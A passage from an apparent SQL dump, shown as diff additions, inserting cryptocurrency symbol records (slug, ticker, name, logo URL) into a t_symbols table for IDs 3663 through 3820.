'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcar.png', NULL); +INSERT INTO `t_symbols` VALUES (3663, 'brn', 'BRN', 'Brainmab', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brn.png', NULL); +INSERT INTO `t_symbols` VALUES (3664, 'clipper-coin', 'CCC', 'Clipper Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clipper-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3665, 'ea-coin', 'EAG', 'EA Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ea-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3666, 'gad', 'GAD', 'Garuda Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gad.png', NULL); +INSERT INTO `t_symbols` VALUES (3667, 'messengerbank-metals-token', 'MBMT', 'MessengerBank Metals Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/messengerbank-metals-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3668, 'topchain', 'TOPC', 'TopChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/topchain.png', NULL); +INSERT INTO `t_symbols` VALUES (3669, 'ethfinex-voting-tokens', 'EVT', 'EVT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethfinex-voting-tokens.png', NULL); +INSERT INTO `t_symbols` VALUES (3670, 'zenome', 'ZNA', 'Zenome', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zenome.png', NULL); +INSERT INTO `t_symbols` VALUES (3671, 'arbicoin', 'ARBI', 'Arbicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbicoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3672, 'point-of-public-coin', 'POPC', 'Point Of Public Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/point-of-public-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3673, 'hospital-coin', 'HOSP', 'Hospital Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hospital-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3674, 'zayka-token', 'ZAY', 'Zayka Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zayka-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3675, 'advertisingcoin', 'ADVC', 'Advertisingcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/advertisingcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3676, 'awardcoin', 'AWR', 'Award', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/awardcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3677, 'bitdinero', 'XBR', 'BitDinero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitdinero.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3678, 'dkey-bank', 'DKEY', 'DKEY Bank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dkey-bank.png', NULL); +INSERT INTO `t_symbols` VALUES (3679, 'placewargovernance', 'PLACE', 'PlaceWar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/.png', NULL); +INSERT INTO `t_symbols` VALUES (3680, 'authtrailtoken', 'AUT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/authtrail.png', NULL); +INSERT INTO `t_symbols` VALUES (3681, 'nstars', 'NSTARS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/nafstars.png', NULL); +INSERT INTO `t_symbols` VALUES (3682, 'eaglecoin', 'EAGLE', 'EagleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eaglecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3683, 'insureum', 'ISR', 'Insureum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/insureum.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3684, 'ninios', 'NNS', 'ninios', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ninios.png', NULL); +INSERT INTO `t_symbols` VALUES (3685, 'pelo', 'PELO', 'Pelo Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pelo.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3686, 'sealchain', 'SEAL', 'Sealchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seal.png', NULL); +INSERT INTO `t_symbols` VALUES (3687, 'xny', 'XNY', 'Cryptonity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xny.png', NULL); +INSERT INTO `t_symbols` VALUES (3688, 'trsoproject', 'TRSO', 'TRSO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trsoproject.png', NULL); +INSERT INTO `t_symbols` VALUES (3689, 'toqqn', 'TQN', 'Toqqn', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/toqqn.png', NULL); +INSERT INTO `t_symbols` VALUES (3690, 'cryptolux', 'CLX', 'CryptoLux', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptolux.png', NULL); +INSERT INTO `t_symbols` VALUES (3691, 'hpay-coin', 'HPAY', 'HPAY Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hpay-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3692, 'tranium', 'TRM', 'Tranium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tranium.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3693, 'btc-alpha-token', 'BAC', 'BTC-Alpha Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btc-alpha-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3694, 'ladder-network-token', 'LAD', 'Ladder Network Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ladder-network-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3695, 'cctime', 'XCT', 'CCTime', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cctime.png', NULL); +INSERT INTO `t_symbols` VALUES (3696, 'coindd', 'CDD', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coindd.png', NULL); +INSERT INTO `t_symbols` VALUES (3697, 'jigen', 'JIG', 'Jigen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/jigen.png', NULL); +INSERT INTO `t_symbols` VALUES (3698, 'waterfallprotocol', 'WTF', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/waterfallprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (3699, 'aseancoin', 'ASN', 'Aseancoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3700, 'bitclave', 'CAT', 'BitClave', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitclave.png', NULL); +INSERT INTO `t_symbols` VALUES (3701, 'brs', 'BRS', 'brs', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3702, 'clm', 'CLM', 'CoinClaim', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clm.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3703, 'health-retail-chain', 'RED', 'Health Retail chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/health-retail-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3704, 'sec', 'SEC', 'Social Ecommerce Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sec.png', NULL); +INSERT INTO `t_symbols` VALUES (3705, 'torchain', 'TOR', 'Torchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/torchain.png', NULL); +INSERT INTO `t_symbols` VALUES (3706, 'bitcoin-fast', 'BCF', 'Bitcoin Fast', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-fast.png', NULL); +INSERT INTO `t_symbols` VALUES (3707, 'electronero-pulse', 'ETNXP', 'Electronero Pulse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/electronero-pulse.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3708, 'crowdclassic', 'CRCL', 'CRowdCLassic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crowdclassic.png', NULL); +INSERT INTO `t_symbols` VALUES (3709, 'dequant', 'DEQ', 'Dequant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dequant.png', NULL); +INSERT INTO `t_symbols` VALUES (3710, 'always-evolving', 'AEVO', 'Always Evolving', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/always-evolving.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3711, 'bullandbear', 'BB', 'BullAndBear', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bullandbear.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3712, 'lemonad', 'LAD', 'LemonAd', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lemonad.png', NULL); +INSERT INTO `t_symbols` VALUES (3713, 'xwc-dice-token', 'XDT', 'XWC Dice Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xwc-dice-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3714, 'one-on-one', 'OOO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/one-on-one.png', NULL); +INSERT INTO `t_symbols` VALUES (3715, 'coinburp', 'BURP', 'Burp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinburp.png', NULL); +INSERT INTO `t_symbols` VALUES (3716, 'gems', 'GEMS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/gems.png', NULL); +INSERT INTO `t_symbols` VALUES (3717, 'asgcoin', 'ASGC', 'Asgcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asgcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3718, 'brz', 'BRZ', 'Brazilian Digital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brz.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3719, 'healthcube', 'HCC', 'HealthCUBE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/healthcube.png', NULL); +INSERT INTO `t_symbols` VALUES (3720, 'legalblock', 'LBK', 'LegalBlock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/legalblock.png', NULL); +INSERT INTO `t_symbols` VALUES (3721, 'niobio-cash', 'NBR', 'Niobio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/niobio-cash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3722, 'penc', 'PENC', 'Pencecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/penc.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3723, 'torcoin-tor', 'TOR', 'Torcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/torcoin-tor.png', NULL); +INSERT INTO `t_symbols` VALUES (3724, 'vertex-market', 'VTEX', 'Vertex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vertex-market.png', NULL); +INSERT INTO `t_symbols` VALUES (3725, 'girauno', 'GR1', 'Girauno', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/girauno.png', NULL); +INSERT INTO `t_symbols` VALUES (3726, 'udia', 'UDA', 'Udia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/udia.png', NULL); +INSERT INTO `t_symbols` VALUES (3727, 'boxy-coin', 'BOXY', 'BOXY Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boxy-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3728, 'swyft-network', 'SWYFT', 'SWYFT.Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swyft-network.png', NULL); +INSERT INTO `t_symbols` VALUES (3729, 'eblockcoin', 'EBCR', 'eBlockCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eblockcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3730, 'blue-baikal', 'BBC', 'Blue Baikal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blue-baikal.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3731, 'lobitcoin', 'LBT', 'Lobitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lobitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3732, 'aigopay', 'XGP', 'AIGO Payment', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aigopay.png', NULL); +INSERT INTO `t_symbols` VALUES (3733, 'akita-inu', 'AKITA', 'Akita Inu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/akita-inu.png', NULL); +INSERT INTO `t_symbols` VALUES (3734, 'firewood', 'FOD', NULL, NULL, NULL); +INSERT INTO `t_symbols` VALUES (3735, 'chicks', 'CHICKS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/solchicks.png', NULL); +INSERT INTO `t_symbols` VALUES (3736, 'bitcloud-bpro', 'BPRO', 'BitCloud Pro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcloud-bpro.png', NULL); +INSERT INTO `t_symbols` VALUES (3737, 'cloud', 'CLD', 'Cloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Cloudwith_me.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3738, 'healthy-happy-harmony', 'HHH', 'Healthy Happy Harmony', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/healthy-happy-harmony.png', NULL); +INSERT INTO `t_symbols` VALUES (3739, 'metal-music-coin', 'MTLMC3', 'Metal Music Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/metalmusiccoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3740, 'torq', 'TORQ', 'TORQ Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/torq.png', NULL); +INSERT INTO `t_symbols` VALUES (3741, 'mate', 'MATE', 'mate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mate.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3742, 'merlin-coins', 'MERC', 'MERLIN COINS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/merlin-coins.png', NULL); +INSERT INTO `t_symbols` VALUES (3743, 'femicoin', 'FEMI', 'Femicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/femicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3744, 'alliance-cargo-direct', 'ACD', 'Alliance Cargo Direct', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alliance-cargo-direct.png', NULL); +INSERT INTO `t_symbols` VALUES (3745, 'hydro-token', 'XHT', 'HYDRO TOKEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hydro-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3746, 'crytrex-token', 'CRYT', 'CryTrEx Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crytrex-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3747, 'blockbooster', 'BBT', 'BlockBooster', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockbooster.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3748, 'lightningcoin', 'LC', 'LightningCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lightningcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3749, 'gp-token', 'XGP', 'GP Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gp-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3750, 'pearl-finance', 'PEARL', 'Pearl Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pearl.png', NULL); +INSERT INTO `t_symbols` VALUES (3751, 'cryptovszombie-cvztoken', 'CVZ', 'CryptoVsZombie', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/cryptovszombie.png', NULL); +INSERT INTO `t_symbols` VALUES (3752, 'vst', 'VST', 'Voice Street', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/voicestreet.png', NULL); +INSERT INTO `t_symbols` VALUES (3753, 'pine', 'PINE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pineprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (3754, 'earth-token', 'EARTH', 'Earth Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/earth-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3755, 'healthylife', 'HELI', 'HealthyLife', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/healthylife.png', NULL); +INSERT INTO `t_symbols` VALUES (3756, 'metalcoin', 'METAL', 'MetalCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/MetalCoinTeam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3757, 'tosc', 'TOSC', 'TiOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tosc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3758, 'lumberscout', 'LUMBER', 'LUMBER', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lumberscout.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3759, 'bulpcoin', 'BULP', 'BulpCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bulpcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3760, 'bravocoin', 'BRV', 'BravoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bravocoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3761, 'kibicoin', 'KIC', 'KIBICOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kibicoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3762, 'bitcoin-confidential', 'BC', 'Bitcoin Confidential', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-confidential.png', NULL); +INSERT INTO `t_symbols` VALUES (3763, 'love-chain', 'LC', 'Love Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/love-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3764, 'ethereum-lite-cash', 'XLC', 'Ethereum Lite Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-lite-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (3765, 'morpher', 'MPH', 'Morpher', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/morpher.png', NULL); +INSERT INTO `t_symbols` VALUES (3766, 'jiucaibi', 'JCC', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jiucaibi.png', NULL); +INSERT INTO `t_symbols` VALUES (3767, 'cyball', 'CYB', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/guildfi.png', NULL); +INSERT INTO `t_symbols` VALUES (3768, 'hxronetwork', 'HXRO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/hxronetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (3769, 'mrhb', 'MRHB TOKEN', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/mrhbdefi.png', NULL); +INSERT INTO `t_symbols` VALUES (3770, 'mcade', 'MCADE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1572526349503299585.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3771, '58b', '58B', '58b', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/58b.png', NULL); +INSERT INTO `t_symbols` VALUES (3772, 'galaxy-esolutions', 'GES', 'Galaxy eSolutions', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/galaxy-esolutions.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3773, 'lemochain', 'LEMO', 'LemoChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lemochain.png', NULL); +INSERT INTO `t_symbols` VALUES (3774, 'securecloudcoin', 'SC2', 'securecloudcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/securecloudcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3775, 'xpc', 'XPC', 'Xpet Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xpc.png', NULL); +INSERT INTO `t_symbols` VALUES (3776, 'swisscoin-classic', 'SICC', 'Swisscoin-Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swisscoin-classic.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3777, 'bitcoin-final', 'BTCF', 'Bitcoin Final', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-final.png', NULL); +INSERT INTO `t_symbols` VALUES (3778, 'hanacoin', 'HANA', 'Hanacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hanacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3779, 'capra-coin', 'CPRA', 'Capra Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/capra-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3780, 'jolt-gas', 'JLG', 'Jolt Gas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jolt-gas.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3781, 'liquor-chain', 'LCT', 'Liquor chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquor-chain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3782, 'encocoin', 'XNK', 'Encocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/encocoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3783, 'trucecad', 'TCAD', 'TrueCAD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trucecad.png', NULL); +INSERT INTO `t_symbols` VALUES (3784, 'uxdprotocoltoken', 'UXP', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/uxdprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (3785, 'geo', 'GEO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/geopoly.png', NULL); +INSERT INTO `t_symbols` VALUES (3786, 'kilo-shiba-inu', 'KSHIB', 'Kilo Shiba Inu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kilo-shiba-inu.png', NULL); +INSERT INTO `t_symbols` VALUES (3787, 'exe-radiance', 'EXERAD', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1506112354219880449.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3788, 'bt', 'BT', 'bt', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3789, 'international-diamond', 'XID', 'International Diamond', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3790, 'metanoia', 'NOIA', 'METANOIA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metanoia.png', NULL); +INSERT INTO `t_symbols` VALUES (3791, 'niu-coin-system', 'NCS', 'niu-coin-system', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/niu-coin-system.png', NULL); +INSERT INTO `t_symbols` VALUES (3792, 'xpense', 'XPS', 'Xpense', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xpense.png', NULL); +INSERT INTO `t_symbols` VALUES (3793, 'linktoken', 'LTK', 'LinkToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linktoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3794, 'victorium', 'VIC', 'Victorium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/victorium.png', NULL); +INSERT INTO `t_symbols` VALUES (3795, 'artid', 'ARTID', 'Artid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artid.png', NULL); +INSERT INTO `t_symbols` VALUES (3796, 'xevenue-shares', 'XEV', 'Xevenue Shares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xevenue-shares.png', NULL); +INSERT INTO `t_symbols` VALUES (3797, 'muncoin', 'MUN', 'MUNcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/muncoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3798, 'goldenfever', 'GFR', 'GoldenFever', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goldenfever.png', NULL); +INSERT INTO `t_symbols` VALUES (3799, 'satellite-coin', 'STE', 'Satellite Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/satellite-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3800, 'bcg-chain', 'BCG', 'BCG Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bcg-chain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3801, 'league-coin', 'LGA', 'League Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/league-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3802, 'ripaex', 'XPX', 'RipaEx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripaex.png', NULL); +INSERT INTO `t_symbols` VALUES (3803, 'truegbp', 'TGBP', 'TrueGBP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/truegbp.png', NULL); +INSERT INTO `t_symbols` VALUES (3804, 'polysynthtoken', 'POL', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/polysynth.png', NULL); +INSERT INTO `t_symbols` VALUES (3805, 'geos', 'GEOS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/geopoly.png', NULL); +INSERT INTO `t_symbols` VALUES (3806, 'luart', 'LUART', 'Luart', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/luart.png', NULL); +INSERT INTO `t_symbols` VALUES (3807, 'mover', 'MOVER', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1555648693906415621.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3808, 'bt1-cst', 'BT1', 'Bitfinex Bitcoin Future', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bt1-cst.png', NULL); +INSERT INTO `t_symbols` VALUES (3809, 'clpc', 'CLPC', 'CLP token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clpc.png', NULL); +INSERT INTO `t_symbols` VALUES (3810, 'eaz', 'EAZ', 'eaz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eaz.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3811, 'etrade', 'ETT', 'Etrade', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/etrade.png', NULL); +INSERT INTO `t_symbols` VALUES (3812, 'internationalcryptox', 'INCX', 'International CryptoX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/internationalcryptox.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3813, 'sedo', 'SEDO', 'SEDO POW TOKEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sedo.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3814, 'cnh-tether', 'CNHT', 'CNH Tether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cnh-tether.png', NULL); +INSERT INTO `t_symbols` VALUES (3815, 'dakuce', 'DAKU', 'Dakuce', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dakuce.png', NULL); +INSERT INTO `t_symbols` VALUES (3816, 'orbise10', 'ORBT', 'Orbise10', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orbise10.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3817, 'investcoin', 'INVC', 'Investcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/investcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3818, 'ohwe', 'OHC', 'OHWE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ohwe.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3819, 'buckstake-coin-masternodes', 'BCM', 'Buckstake Coin Masternodes', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buckstake-coin-masternodes.png', NULL); +INSERT INTO `t_symbols` VALUES (3820, 'language-coin', 'LGC', 'Language Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/language-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3821, 'outdefine', 